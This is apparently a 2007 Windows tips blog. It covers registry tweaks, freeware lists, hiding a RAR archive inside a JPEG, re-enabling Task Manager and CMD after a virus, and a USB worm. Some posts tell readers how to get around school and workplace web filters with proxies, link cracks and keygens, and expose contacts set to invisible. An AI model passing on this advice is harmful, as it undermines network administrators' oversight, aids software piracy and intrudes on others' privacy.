Monday, December 31, 2007

Movie In Paint

* First start a movie in any player.

* Then open Paint.

* Now, in the player when the movie is being played, press "Print screen" button on your key board.

* Now, Press ctrl+v in Paint

* Leave the movie player open and don't minimize it.

* Open Paint now and see the movie in the Paint!

Hide File In Image

1. Gather the file you wish to bind, and the image file, and place them in a folder. I will be using C:\New Folder
-The image will hereby be referred to in all examples as fluffy.jpg
-The file will hereby be referred to in all examples as New Text Document.txt

2. Add the file/files you will be injecting into the image into a WinRar .rar or .zip. From here on this will be referred to as (secret.rar)

3. Open command prompt by going to Start > Run > cmd

4. In Command Prompt, navigate to the folder where your two files are by typing
cd location [ex: cd C:\New Folder]

5. Type [copy /b abc.jpg + secret.rar abc.jpg] (remove the brackets)

Congrats, as far as anyone viewing is concerned, this file looks like a JPEG, acts like a JPEG, and is a JPEG, yet it now contains your file.

In order to view/extract your file, there are two options that you can take

a) Change the file extension from abc.jpg to abc.rar, then open and your file is there
b) Leave the file extension as is, right click, open with WinRar and your file is there

Ways To Shorten URL's

There are a lot of pages out there on the web - and a lot of them have mighty long URLs. This poses a problem for many web users as we attempt to pass those URLs around via instant messages, Twitter, email, and phone calls: long URLs get misunderstood and misinterpreted in a variety of ways. Thus, the rise of the URL-shortening service - web sites designed to compress the URLs of other web sites.

One might think that this is a simple and easily-solved problem, but that’s not reckoning with either the cleverness of developers or the number of ways that a niche market can be split up. Here’s a list of eight different URL-shorteners, each with their own special features.

  • TinyURL - The father of them all (at least, so far as I know) and still going strong. No special features, but it’s been around and reliable for a long time now. Includes a bookmarklet for easy browser use.

  • - If you have trouble remembering addresses, this is as short as they come. Besides a bookmarket, includes a preview feature: append a hyphen to the end of any link, and you’ll go to a page on the site telling you where the redirection points. This is useful if you don’t quite trust the person sending you the shorter link.

  • urlTea - This one includes a couple of nice touches. For starters, the shortened link ends up on the clipboard, saving you an operation. You can also talk to it via Google Talk at and get your shorter links that way, use their API, and add your own arbitrary descriptive text to shortened links.

  • SnipUrl - This one edges past “shortener” and towards “social network”, with its ability to browse through the snips that everyone else has used the service for. You can also subscribe to get interesting snippings in your email or subscribe to their RSS feed.

  • doiop - One of several URL-shorteners that lets you choose your own alias, rather than getting an arbitrary link assigned to you. That’s it; otherwise, there are no bells and whistles here at all.

  • 301url - This one lets you assign your own alias (so you can have as long as no one else has taken it), but beyond that it also tags forwarded links with a 301 redirect. This makes them more useful in cases where you want to be sure search engines ultimately end up at your own page instead of some URL-shortening service.

  • twittums - In addition to shortening links and providing an API that hands back details in an XML file, this one hooks into snap to capture image previews of the sites you link. So when you shrink a URL, you get your choice of regular link, bbcoded link, or link with an image preview to post.

  • Shorty - If you’ve got the technical chops (as well as a server, PHP, MySQL, and Apache), you can download and install Shorty, and run your own URL-shortening service. This is more effort than any other alternative, but lessens any worry about the service you’re using going under (as several have in recent months).

Thursday, December 20, 2007

Check BIOS Date

The below debug routine is to check the date of your BIOS. All BIOS dates on PC compatible computers is stored at memory address FFFF5h. To display the date of your BIOS do the following:

Go to Command Prompt, type debug - d FFFF:5 L 8.

After typing the above command you should receive a string similar to:

FFFF:0000       30 34 2F-33 30 2F 39 38       4/30/98

4/30/98 would be the date of your computer BIOS.

Display Message On Startup

Go to Start->run, type 'regedit'. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

Modify the key legalnoticecaption with what you want to name the window.

Modify the key legalnoticetext with what you want the window to say.

Restart. Thats it.

Notepad As Diary

Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.

Turn Off Autoplay for Program CD's

How can you stop Windows XP from launching program CDs?

· Click Start, click Run, type GPEDIT.MSC to open Group Policy in the Microsoft Management Console.

· Double-click Computer Configuration, double-click Administrative templates,double-click System, and then click Turn off autoplay.

· The instructions on your screen describe how to configure this setting. Click Properties to display the setting dialog.

· Click Enabled, and choose CD-ROM drives, then click OK, to stop CD autoplay. This setting does not prevent Autoplay for music CDs.

Disabling Scandisk Check

When Windows is not shut down correctly, it will perform an AutoCheck using CHKDSK on the next restart.

AutoCheck is executed after a short time delay. AutoCheck can be disabled or delayed by tweaking a few Registry settings.
1) Run ‘Regedit’ from ‘Start Menu -> Run’
2) Go to ‘HKEY_LOCAL_MACHINE|SYSTEM|CurrentControlSet|Control|SessionManager’.
3) Create a new DWORD value, or modify the existing value, called “AutoChkTimeOut” and set it according to the value data below.
4) Value Name: AutoChkTimeOut.
5) Data Type: REG_DWORD (DWORD Value).
6) Value Data: Time in Seconds or 0 to disable(default = 10).
7) Exit your registry, you may need to restart or log out of Windows for the change to take effect.

Invisible Folder

Make your folders invicible...:)

1) Right Click on the desktop.Make a new folder
2) Now rename the folder with a space(U have to hold ALT key and type 0160).
3) Now u have a folder with out a name.
4) Right click on the folder>properties>customize. Click on change icon.
5) Scroll a bit, u should find some empty spaces, Click on any one of them.
Click Ok.

Wednesday, December 5, 2007

Useful Downloads-2

1. 7-zip7-Zip is a open source file archiver program for windows. It supports packing and unpacking of 7z, ZIP, GZIP, BZIP2 and TAR format files and supports onlu unpacking of RAR, CAB, ISO, ARJ, LZH, CHM, Z, CPIO, RPM, DEB and NSIS. It provides better compression ratio than WinZip for ZIP and GZIP formats. It is an alternative to programs like WinZip

2. Audacity: Audacity is free, open source software for recording and editing sounds.Audacity can be used to record live audio, convert tapes and records into digital recordings or CDs, edit Ogg Vorbis, MP3, and WAV sound files. cut, copy, splice, and mix sounds together.

3. Blender:Blender is a open source free software for creating 3D animations. Blender can be used for modelling, UV unwrapping, texturing, rigging, skinning, animating, rendering, particle and creating interactive 3D applications. Blender has robust features et similar to programs like 3ds Max and Maya.

4. ClamWin: ClamWin is a Free Antivirus for Windows 98/Me/2000/XP and 2003. ClamWin is a good alternative to commercial softwares like Norton, McAfee etc. Clamwin features include High detection rates for viruses and spyware, Scanning Scheduler, Automatic downloads of regularly updated Virus Database, Standalone virus scanner and right-click menu integration to Microsoft Windows Explorer, and Addin to Microsoft Outlook to remove virus-infected attachments automatically.

5. eMule:eMule is a open source peer to peer file sharing (P2P) client tool.

6. Feedreader:Feedreader is free desktop RSS aggregation tool. “Feedreader automatically downloads updates from your favorite Web sites. So, it eliminates the need for you to constantly monitor multiple Web pages, while allowing you to immediately identify and retrieve new articles”

7. Filezilla:FileZilla is a free, open source FTP client for Windows. It supports FTP, SFTP, and FTPS protocols. It has all the essential features required for a FTP client. The main features of FileZilla are Ability to resume Uploads/Downloads, Site Manager with folders, Keep Alive system, Timeout detection, Firewall support, SOCKS4/5 and HTTP1.1 Proxy support, SSL secured connections, Upload/Download Queue, Drag&Drop.

8. Firefox:The best cross platform supported web brwoser available on the net, it doesn’t need any introduction and many of you might be using. The wide range of Firefox Add-On’s make this the most powerful browser for all types of users. Firefox is an alternative to Microsoft Internet Explorer.

9. GIMP:GNU Image Manipulation Program (GIMP) is free open source raster graphics editor for manipulating photos or images. GIMP is an excellent software and alternative to expensive photoshop, it is used for photo retouching, image composition and image authoring.

10. hugin:hugin is a open source easy to use cross-platform panoramic imaging tool. Using hugin you can assemble a mosaic of photographs into as complete immersive panorama, stitch any series of overlapping pictures and much more.

11. Inkscape:Inkscape is an open source vector graphics editor. Inkscape is a good alternative to commercial vector graphics tools like Corel Draw, Adobe Illustrator, Freehand or Xara X. Inkscape uses Scalable Vector Graphics (SVG), an open XML-based W3C standard, as the native format. It can be used to create web2.0 buttons, banners, logos, icons etc.

12. Juice:Juice is a free open source cross-platform podcast receiver application. It is used to download podcast media files, such as oggs and mp3s. Using juice you can schedule the podcast and juice will let you know when a new podcast is available. The downloaded files media files can be automatically copied to a digital audio player.

13. is the open source office suite similar to Microsoft office available to different platforms. is a collection of applications with the features similar to Microsoft Office. The Components include Writer, Calc, Base, Impress, Draw, Math, Quickstarter etc.

14. PDFCreator:PDFCreator is a free program for creating PDF documents from windows programs. Once installed, it allows the user to select PDFCreator as their printer, allowing almost any application to print to PDF.

15. Pidgin:Pidgin, formerly known as Gaim is a multi-platform instant messaging client that supports many commonly used IM protocols. Pidgin is a free software and supports IM’s including Yahoo, Google Talk, Jabber, MSN, AOL, ICQ etc.

16. Programmers Notepad:Programmer’s Notepad is the free, open source, text editor for programmers.some of the features of Programmers Notepad: Code Folding/Outlining, Docking tool windows, Excellent external tool support with user-configurable output matching, Export to HTML (using CSS) and RTF, Word Wrapping

17. Scribus:Scribus is an open source desktop publishing (DTP) application. It has some nice page layout features and can be used as an alternative to Adobe PageMaker, QuarkXPress and Adobe InDesign. “It can also create animated and interactive PDF presentations and forms. Example uses include writing small newspapers, brochures, newsletters, posters and books.”

18. Sunbird:Sunbird is open source desktop calender application from Mozilla foundation. Sunbird is a cross platform, open standards application built on Mozill Toolkit.

19. Thunderbird:Thunderbird is the open source desktop email application from Mozilla foundation. Thunderbird has the best features in the industry. “Thunderbird 2 features many new enhancements to help you better manage your unruly inbox, and stay informed. Thunderbird 2 scales to the most sophisticated organizational needs while making it easy to find what you need.”

20. VLC Media Player:VLC Media Player is a open source media player from VideoLan project team. It is the best media player available in the net, it plays almost any file format available. It also supports streaming protocols. It is a good alternative to different media players.

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Web / Development Downloads

1. PSPad:PSPad is a freeware programmer’s editor for Microsoft Windows operating systems, useful for people who:

  • work with various programming environments

  • like highlighted syntax in their source code

  • need a small tool with simple controls and the capabilities of a mighty code editor

  • are looking for a tool that handles plain text

  • want to save time - PSPad offers rich text formating functions

  • need tool what offer user extension capabilities

  • want to save money and still have the functionality of professional products because PSPad is free for commercial and government purposes too

2. HTTrack:HTTrack is a free and easy-to-use offline browser utility. It allows you to download a World Wide Web site from the Internet to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer.

3. NOTEPAD++:Notepad++ is a free source code editor (and Notepad replacement), which supports several programming languages, running under the MS Windows environment.

Multi Media Downloads

1. Media Player Classic:Media Player Classic (MPC) is a compact free software media player for Microsoft Windows. The application has a similar look and feel to the old light-weight Windows Media Player 6.4. Underneath, however, it is a completely different application which has all the options and features one might expect from a modern media player.

2. Media Coder: MediaCoder is a free universal batch media transcoder, which nicely integrates most popular audio/video codecs and tools into an all-in-one solution.

3. Hanbrake:HandBrake is an open-source, GPL-licensed, multiplatform, multithreaded DVD to MPEG-4 converter, available for MacOS X, Linux and Windows.

4. musikCube:musikCube can be an alternative to iTunes to manage your music collection.

5. popCorn:popCorn is a desktop-oriented MPEG-1 audio (MP3) and video software capable of playing data streamed directly from the network. Compatibility with existing media servers is provided by the support of the industry standard RTSP protocol.

6. ImgBurn:ImgBurn is a lightweight CD / DVD / HD DVD / Blu-ray burning application. It supports all windows versions.

7. AVS Disc Creator:Write your data to CD, DVD and Blu-ray Discs quickly and easily using FREE AVS Disc Creator.

8. DVDStyler:DVDStyler is a cross-platform DVD authoring application that makes possible for video enthusiasts to create professional-looking DVDs.

9. mp3mymp3:Record any audio playing on your computer as mp3 or wav file with mp3mymp3 recorder. It can record any sound originating from your computer, it works by recording all audio through your sound card.

10. Youtube Catcher:Youtube Catcher can download videos from Youtube, Google Video, Myspace Video, Yahoo video Dailymotion Stage6 Veoh. The downloaded videos can be exported to various formats like MPG,AVI, MP4,3GP, 3G2, WMV, PSP, MOV, FLV with the quality you choose.

11. Media Portal:MediaPortal is an Open Source application ideal for turning your PC / TV into a very advanced Media Center. MediaPortal allows you to listen to your favorite music & radio, watch and store your videos and DVDs, view, schedule and record live TV as a digital video recorder and much much more.

12. VirtualDub:VirtualDub is a video capture/processing utility for 32-bit Windows platforms (95/98/ME/NT4/2000/XP), licensed under the GNU General Public License (GPL). It lacks the editing power of a general-purpose editor such as Adobe Premiere, but is streamlined for fast linear operations over video.

Task Killer To Kill Your Processes

Task killer allows you to kill running processes from your taksbar. It sits in the taskbar as a small icon, clicking that will show the current running processes and their memory usage. You can kill any running process by clicking the name of the application.

It is a good alternative to Windows Task Manager, you can kill running processes with out opening task manager.

Task Killer is a freeware application and only for Windows.

Source: Lifehacker

Transform XP into MacOSX

FlyakiteOSX is a software for transforming Windows XP into Mac look alike. It changes the desktop theme of XP to resemble that of Mac OSX.

Download the FlyakiteOSX and install the program, you can customize the installation the way you want. One important feature of it is it creates a system restore point by default so at any time if you are not satisfied with the program you can just uninstall it and if you found any errors you can restore the system to its previous configuration.

After installing you can customize the FliakiteOSX from the settings, it allows you turn off the settings like OSX cursors, Iceman Sounds etc. If you like the Mac OSX look and doesn’t have a Mac you should give it a try.

Apart from Windows XP it also supports Windows 2003, Windows Media Center Edition.

Get Vista looks for Windows XP

You like the vista style but may not like to upgrade to Windows Vista in near future then VistaMizer is for you.

With Vistamizer you can get the look of Vista for Windows XP, MCE or 2003. This program will modify around 380 files of windows including icons, pictures to give a vista style look. While installing you can select the files to modify and files not to modify. You can always roll back to your previous look by uninstalling the application.

It does not change the translation files of the system, so whatever language windows you have that will remain. Vistamizer if free to download.

Source: gHacks

Free Web Proxy List

A web proxy is becoming more and more important in todays internet. Schools and Companys tend to block sites pretty quickly nowadays.It is especially irritating when the ban is directed towards just a few websites and not every website in that category. Web Proxys might be able to sneak past this policies and display the site in your browser even though it is banned in the network.

How do web proxys work ?
A network bans a website either by its IP, its name or part of its name. A web proxy makes only shows its own address to the network and not the actual destination of the user. The admin of the network will think everything is fine and you are free to reach the site that is banned. The only thing that might happen is that the admin is banning the web proxy as well, but this is not a big deal either. Hundreds of web proxys exist, just switch to a new one and you are ready to visit the banned site again.

Setup your own Web Proxy:
Let us assume that all proxy websites have been banned in your network, you can´t find a single web proxy that is still working. Your best choice is to create your own web proxy at an address that only you know. All you need is the php web proxy poxy and some webspace with php to upload it to. Search google for free webspace php and you should find some hosts that allow you to use php and upload your web proxy to them.
You can alternativly use a cgi web proxy which needs a webspace with cgi enabled.

Web Proxy List:
Recommended Proxy:
Anti Web Filter
Back Fox
Bored at School
Browse at School
Bypass browser
Bypass it
Cgi Proxy
Clever Proxy
Conceal Me
Dark Proxy
Dave Proxy
Desire Proxy
Direct Proxy
Famous 5
Fly Proxy
Free Proxy
Free Proxy Server
Ghost Click
Hide and go surf
Hide your Info
Iam new guy
IP Bounce
IP Bouncer
IP Zap
Let me By
Lin Fox
Modern Proxy
Mr. Proxy
My Proxy
Neo Proxy
Net Sack
New Proxy
Ninja Proxy
Peoples Proxy
Perfect Shelter
Prime Proxy
Proxy 121
Proxy 77
Proxy Anon
Proxy Craze
Proxy Drop
Proxy Gasp
Proxy Hero
Proxy Lord
Proxy Mod
Proxy Mouse
Proxy Prince
Proxy Snow
Proxy Spy
Proxy Surf
Pure Privacy
Radio Farda
Safe for Work
Safe Hazard
Safe Surfer
School Bypasser
Secret Browse
Smart Proxy
Student Proxy
Stupid Censorship
Surf Anon
Surf Nameless
The proxy
The web tunnel
TNT Proxy
To Hide
Total Upload
Unblock This
Url Encoded
Virtual Browser
VPN Tunnel
W3 Proxy
Website Proxy
World Wide Proxy
Work Browse
World Want
XXX Proxy
Your Free Proxy
Your Proxy
If none of the above work in your special case try last resort, blockstop. It utilises the coral cdn network and uses a different method to access sites.

Monday, November 26, 2007

Record Live Audio Conversation on any VoIP Client

SoliCall, a free and small [700kb] Windows utility that lets you record audio conference calls over any IM client and it also reduces the unwanted background noise during your voice chat thereby improving voice quality.

Once installed, to record your audio chat with Solicall, set the audio settings of your messenger by pointing the Audio In (microphone) and the Audio Out (speakers) to SoliCall Audio Device. This should help you record audio chats on Skype, GTalk, Windows Live, Yahoo!, MSN Messenger, or any other VoIP client.

A big advantage of using Solicall is that you can comfortably make business calls from your computer without having to worry about the disrupting background sounds like people talking, sound of the air conditioner fan or even the keyboard ticking sound. Solicall will filter [or atleast reduce] that noise clutter for you.

Quick Tip: If the person on the other side of the audio conference call complains of hearing an echo, try turning down the volume of your microphone.


Huge Collection of Keyboard Shortcuts

If you like keyboard shortcuts, you’ll love the site called KeyXL. It says it is the largest online database for keyboard shortcuts and gives this description:

Our keyboard shortcut database is searchable by software program and covers all
the major operating environments including Windows, Macintosh, Linux and
browser-based applications.
I took a quick look around and I have to say that the site has a lots of shortcuts. I like the shortcuts very much but the trouble is that, there are so many shortcuts that it becomes difficult to remember all. But i must say, it is certainly the biggest collection of keyboard shortcuts that i have came across.

You can check out the Windows XP keyboard Shortcuts here.

Search Videos in a Single Click

In this world videos are becoming the major source of entertainment and a major time pass element. There are hell lots and loads of websites that contains enormous videos and if one try to search a particular video on a single website it will consume your time. If you have experienced this, than you can understand the situation well.

Now in this world everybody needs a shortcut for everything and internet made it very easy similarly theres a shortcut called DADX for videos.
It is basically a search engine in which you will have to enter the related keyword of your desired videos then will show the possible result in a single window and it will search all the websites.

Affiliated with :
You Tube.
Google Videos.
Live Video.
Daily Motion.
Live Leak.
V Social.
Yahoo Videos.
Vidi Life.
Zippy Videos.
Video Spud.
Un Cut.
Vid Shadow.
Search for Video.

Monday, November 19, 2007

Cut Down The Boot Time (Disable Splash Screen XP)

It is possible to disable XP splash screen, which will slightly speed up the overall boot process. Be aware that removing the splash screen will also cause you not to see any boot-up messages that might come up (chkdsk, convert ... ), but if your system runs without any problems then it should not matter.

1. Edit boot.ini ( Type C:\boot.ini in Address Bar to open it )

2. Add " /noguiboot" right after "/fastdetect".

(or check the /noguiboot switch in msconfig on the boot.ini tab)

Upon restarting, the splash screen will be gone. It can be re-enabled by removing the new switch.

Below is an unique technique for XP, which could improve the performance significantly by tweaking the prefetcher (which is a cache folder).

1. Run "regedit";

2. Goto [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters\EnablePrefetcher];

3. Set the value to either 0-Disable, 1-App launch prefetch, 2-Boot Prefetch, 3-Both ("3" is recommended).

4. Reboot.

It should decrease the boot time and the time it takes to load programs.

Friday, November 16, 2007

Wobzip - Uncompress zip file on the fly

Wobzip is a web based service which offer unzip compression file on the fly.

Sometimes, you may go to your friends house and download some zip file. But, maybe your friend PC don’t install and software to uncompress it, so how? Wobzip can help you by providing uncompress service on the fly. It suppost various format, and the maximum file size supported is 100MB!
The way using it is very simple. Simply click the ‘Browse’ button and upload your file, then wait. After Wobzip uncompress it, you will see the link to the file.

If the zip file is store in web server and you wish to uncompress it, simply use this URL: The same screen will appear after Wobzip uncompress the file. Cool? You not even need to download the zip file. And, one more interesting feature is, Wobzip provide virus scanning to the zip file. So, when you would like to open some zip file which may contain virus, open it with Wobzip, it will scan for you.

But, Wobzip is quite new and still has some limitation, such as they not support unicode and encrypt file. They will try to make it soon and they are welsome users to send them any bugs found.

Wednesday, November 14, 2007

Catch Invisible Yahoo Messenger Friends.

Nowadays, people sometimes purposely change their IM status to “appear offline/invisible”. Xeeber is a website which can let you find out who is online and who is offline. Just enter their name and Xeeber will show their status.

This service is really cool as it can easily show your contact’s status by just key in the yahoo ID. But, sometimes people switch their status to “invisible” maybe they got urgent things to do and don’t want people to disturb them. So, please use this carefully and don't disturb your friend if they really busy.

Another website which provide similar service is Invisible Scanner, which is developed by Vietnam user.

Both of them can actually grab the display picture of your contacts, even they are not online.

Friday, November 9, 2007

Useful Downloads-1

Internet Downoad manager
Crack /serial

Download accelerator plus 8.5.5

Vista Transformation Pack 6.0

Winrar 3.71

BitComet v0.92

Best Crack and serial Searching Software

DirectX 10 for Windows XP

winamp 5.5 with keygenerator..

Zone Alarm Pro v.6.5.722

VLC player

RM to MP3 Converter Free

AUDIO CONVERTER, Recorder, Cutter, Joiner IN one

Windows Defender 1.1.1593.0
Windows Defender is a free program that helps protect your computer against pop-ups, slow performance, and security threats caused by spyware and other unwanted software. It features Real-Time Protection, a monitoring system that recommends actions against spyware when it's detected and minimizes interruptions and helps you stay productive. Now with 2 free support incidents for Windows XP and Windows Server 2003.

PDF 2 word
PDF 2 word serial v.3.0


DAP premium

Pocket Oxford Dictionary

Total video converter download code

Mcafee total protection 2007
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Tuesday, November 6, 2007

How to Write a Windows XP Driver

This document describes the steps you should take to create a Microsoft® Windows® XP driver for your device. To create a Windows XP device driver:

  • Install the current Windows DDK. Read the system requirements and installation instructions in the stand-alone Getting Started HTML file supplied with the DDK.

  • Read Getting Started with Windows Drivers. This document guides you through the planning and decision-making process involved in making a Windows device driver from design through distribution. You should also look through the DDK documentation for device-type-specific information.

The DDK documentation set has the following device-type-specific nodes:

  • Battery Devices

  • Display and Print Devices

  • IEEE 1284.4 Devices

  • Interactive Input Devices

  • Modem Devices

  • Multifunction Devices

  • Network Devices and Protocols

  • Parallel Ports and Devices

  • Serial Ports and Devices

  • Smart Card Devices

  • Still Image Devices

  • Storage Devices

  • Streaming Devices (Video and Audio)

  • Devices Requiring VDDs

  • IDE bus are described in System Support for Buses. Driver development for most device types also requires a strong understanding of Windows operating system fundamentals, which are described in Kernel-Mode Driver Architecture.

  • Look through the driver source code provided with the DDK for a sample that represents your device type. Use the sample code where possible, modifying it for your device's specifics.

  • The sample code can enhance your understanding of Windows XP driver implementation requirements and speed your development time.

  • Compile and build your driver. This should be done using the Build utility and not some other compiler, because the Build utility has certain features that are necessary for driver development.

  • Obtain a checked build of Windows XP, so that you can test and debug your driver using free and checked system builds.

  • The checked build of Windows XP provides extensive kernel-mode debugging capabilities not available in the free build.

  • Create an INF file so that you can install and test your driver.

  • Test and debug your driver. You should use Driver Verifier, a program that puts your driver through a variety of tests, stresses, and deliberate failures in order to test its response and reliability in many extreme situations. You should also use a debugger. Microsoft provides several powerful debuggers that can monitor and debug kernel-mode and user-mode drivers.
    Using Driver Verifier in conjunction with these debuggers, on both the checked and free versions of the operating system, can be a powerful way to test your driver.

  • Provide an installation package so that customers can install devices that use your driver.

  • Submit your driver and installation package to Microsoft so that it can be digitally signed.

There are many resources available to you while developing your driver. The following sites describe some of the support available to you:

Thursday, October 18, 2007

Free eBooks Links Search for book and open it

"Registry Editing is Disabled"

This error occurs if the DisableRegistryTools Policy is enabled. With this policy enabled, you receive the following error message when you start the Registry Editor (regedit.exe):
Registry Editing has been disabled by your administrator

IMPORTANT: If this policy was enabled in your system (not connected to a corporate network) without you doing anything or without your knowledge, then it's highly likely that a Virus has blocked the usage of Registry Editor (Regedit.exe) in your system by enabling the DisableRegistryTools policy via the registry. It's highly recommended that you perform a thorough checkup of your system immediately. Steps listed in this article will help you unblock the Registry Editor, but that does not remove the Virus (if any) from your system.

For standalone Windows XP systems, perform the steps below to remove the registry editing restrictions.
Method 1: Using the REG.EXE console tool
1. Click Start, Run and type this command:

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f

You should be able to launch Tweak UI, as well as the Registry Editor.

Method 2: Using the Group Policy Editor (Windows XP Professional only)
Click Start, Run and type gpedit.msc and press ENTER
-> Go to the following location:

User Configuration Administrative Templates System
-> Double-click Disable registry editing tools and set it to Not Configured
-> Exit
the Group Policy Editor

Note: If the setting already reads Not Configured, set it to Enabled, and click Apply. Then revert it back to Not Configured. This ensures that the DisableRegistryTools registry value is removed successfully.

Wednesday, October 17, 2007

"Task Manager Has been Disabled"

When you try to open Task Manager, the following error may occur:
"Task Manager has been disabled by your administrator "

Method 1
Click Start, Run and type this command exactly as given below: (better - Copy and paste)

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f
Method 2
Download and run this REG fix and double-click it.

Method 3
Click Start, Run and type Regedit.exe
-> Navigate to the following branch:

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies\ System
In the right-pane, delete the value named DisableTaskMgr
-> Close Regedit.exe

Method 4: Using Group Policy Editor - for Windows XP Professional
Click Start, Run, type gpedit.msc and click OK.
-> Navigate to this branch:
User Configuration / Administrative Templates / System / Ctrl+Alt+Delete Options / Remove Task Manager
-> Double-click the Remove Task Manager option.
-> Set the policy to Not Configured.

"Command Prompt has been Disabled"

When you attempt to run CMD.exe or a batch file, you may receive the message:
"The command prompt has been disabled by your administrator".
This is caused by restrictions placed in Registry. DisableCMD value is set to 1 or 0 via Group Policy.
To enable Task Manager, try any of these methods:

Method 1: Using the console registry tool
-> Click Start, Run and type this command exactly as given below: (better - Copy and paste)
REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f

Method 2: Edit the registry directly
Open Registry Editor (Regedit.exe) and navigate to:
-> In the right-pane, double-click DisableCMD and set it's data to 0

Method 3: Using Group Policy Editor in Windows XP Professional.
Click Start, Run, type gpedit.msc and click OK.
-> Navigate to User Configuration\Administrative Templates\System
-> Double-click the Prevent access to the command prompt

You can then disable or set the policy to Not Configured. Disabling or setting this policy to Not Configured should solve the problem.

Monday, October 15, 2007

Unwanted Popups and Disabled Control Panel

Hi, For the last few days, I keep getting a pop up every 5 minutes saying

Windows Security Alert "warning! potential spyware operation! Your computer is making unauthorized copies of your system and Internet files. Run full scan now to pervent any unathorised access to your files! Click YES to download spyware remover ... "

I use AVG Free edition, and it recognized the virus, named "Trojan Horse Downloader.Small.AJY", and put it in the Vault.
But there is one file that AVG also found, but it says the file is not a threat. This one:

C:\WINDOWS\System 32\drivers\etc\hosts

So I still have 2 problems:
1. the incessant popup mentioned above, and
2. I cannot access things like my Control Panel, or the Date function at the bottom right corner, there is a Restrictions error message saying:

"This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator".

It seems the 'hosts' file is the problem, but is something important so I likely shouldn't delete it.I have done a few things like installing and running AVG Anti-Spyware 7.5 in safe mode, and it detected a few things and put them into Quarantine, but the problem persists. The other apps I used didn't find much.

Well but thanks to ComboFix which fixed all my problems and that too without affecting my system. Perform the following steps to fix this problem:

1. Download ComboFix from one of the links below:
2. Double click combofix.exe & follow the prompts.

Note: Do not mouseclick combofix's window while it's running. That may cause it to stop.

ComboFix will create a folder called QooBox in C: (C:\QooBox). It will contain any folders that were quarantined. When you are done you can delete this folder - QooBox.

Friday, October 12, 2007

Test Drive Microsoft Office 2007

For all those who want to try Microsoft Office 2007 Beta 2, but don’t want to take the pain of downloading or installing it can now take a Test Drive of Microsoft Office 2007 online.
The real-time test drive does not require product installation or download—it’s the fastest way to try out 2007 Microsoft Office system programs. In just minutes you can start exploring Microsoft Office through your Web browser on your own, or follow the step-by-step tutorials to experience all of its useful features

According to Microsoft’s Press Release:
With the online test-drive, people can experience products directly for themselves to learn how the next release can help them better manage documents, organize their work and collaborate with others. In just minutes, anyone with access to an Internet connection can try out the latest improvements to familiar Microsoft Office applications using sample data to demo editing documents, sending e-mail, and posting to Microsoft Office SharePoint® sites to illustrate real-time collaboration functionality. The system is set up not only with Microsoft Office client applications, but also with server offerings pre-populated with data to allow people to easily experience the new server functionality in Microsoft Office. This is the first online test-drive made available before the launch of a Microsoft Office release, and it features 18 product-specific tutorials with step-by-step instructions covering most Office system client products and servers, including Office SharePoint Server 2007 and Office Project Server 2007.

The Test Drive Includes:

  • Microsoft Office Access 2007
  • Microsoft Office Excel 2007
  • Microsoft Office InfoPath 2007
  • Microsoft Office OneNote 2007
  • Microsoft Office Outlook 2007
  • Microsoft Office Outlook 2007 with Business Contact Manager
  • Microsoft Office Outlook Web Access
  • Microsoft Office PowerPoint 2007
  • Microsoft Office Project Professional 2007
  • Microsoft Office Publisher 2007
  • Microsoft Office SharePoint Designer 2007
  • Microsoft Office Visio 2007
  • Microsoft Office Word 2007
  • Microsoft Windows SharePoint Services
  • Microsoft Office Project Server 2007 (coming soon)
  • Microsoft Office SharePoint Server 2007

Sunday, October 7, 2007

Cool Proxy Sites

Saturday, October 6, 2007

One-Click Shutdown

Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut).
You should now see a pop-up window instructing you to enter a command line path.
Use this path in "Type Location of the Item"

SHUTDOWN -s -t 01

If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive.
Click the "Next" button. Name the shortcut and click the "Finish" button.
Now whenever you want to shut down, just click on this shortcut and you're done.

Tuesday, October 2, 2007

w32.USBWorm. Lets Remove This Worm Manually

Yesterday, my friend gave me a usb and asked me to copy some ebooks and music into the disk. I took it home and plugged the USB into my system and scanned it with AVG. I detected some viruses which it removed successfully, least I knew that there was another worm which didn’t get detected and it was in to infect my system. I double clicked the USB drive and nothing happened. Hmm strange.. I right clicked and opened the USB drive and found there was no content. Autoplay appears only if there is a Autorun.inf file present in the root of the drive. I didn’t care it much and closed the window to copy data into the drive later.

I wanted to check my mail so ran my beloved browser Firefox, it opened and with in couple of seconds a message box popped up which said ” “I DNT HATE MOZILLA BUT USE IE OR ELSE…” and the header read “USE INTERNET EXPLORER YOU DOPE.” I was like what? It also terminated Firefox . This is when I remembered the Autoplay option in the usb drive. This is when I had to open Internet Explorer and Google this text and found the worm name is w32.USBWorm (it was now obvious). Next step was to search for a Removal Tool and to my amazement there was none available!! Nor I could find any information on how to remove it. I decided to give myself a try to remove this worm. I tried opening orkut and Bang another surprise. This is the message it popped up ” ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did?? ” now this is pissing me off. Now, i had no other option but to remove this worm from my system. I pressed ctrl+alt+del and found nothing suspesious there .

Lets see what this worm does

It runs a exe file which is name MicrosoftPowerpoint.exe which is located in the USB disk. The autorun.inf runs this file when double clicked. Once this program is run you are infected. It hides all your hidden folders, runs the process in the memory, makes the worm to start with windows and pops those annoying messages. This worm doesn’t destroy any system files. It just infects other USB drives and spreads to new hosts.

It’s time to KO the Worm
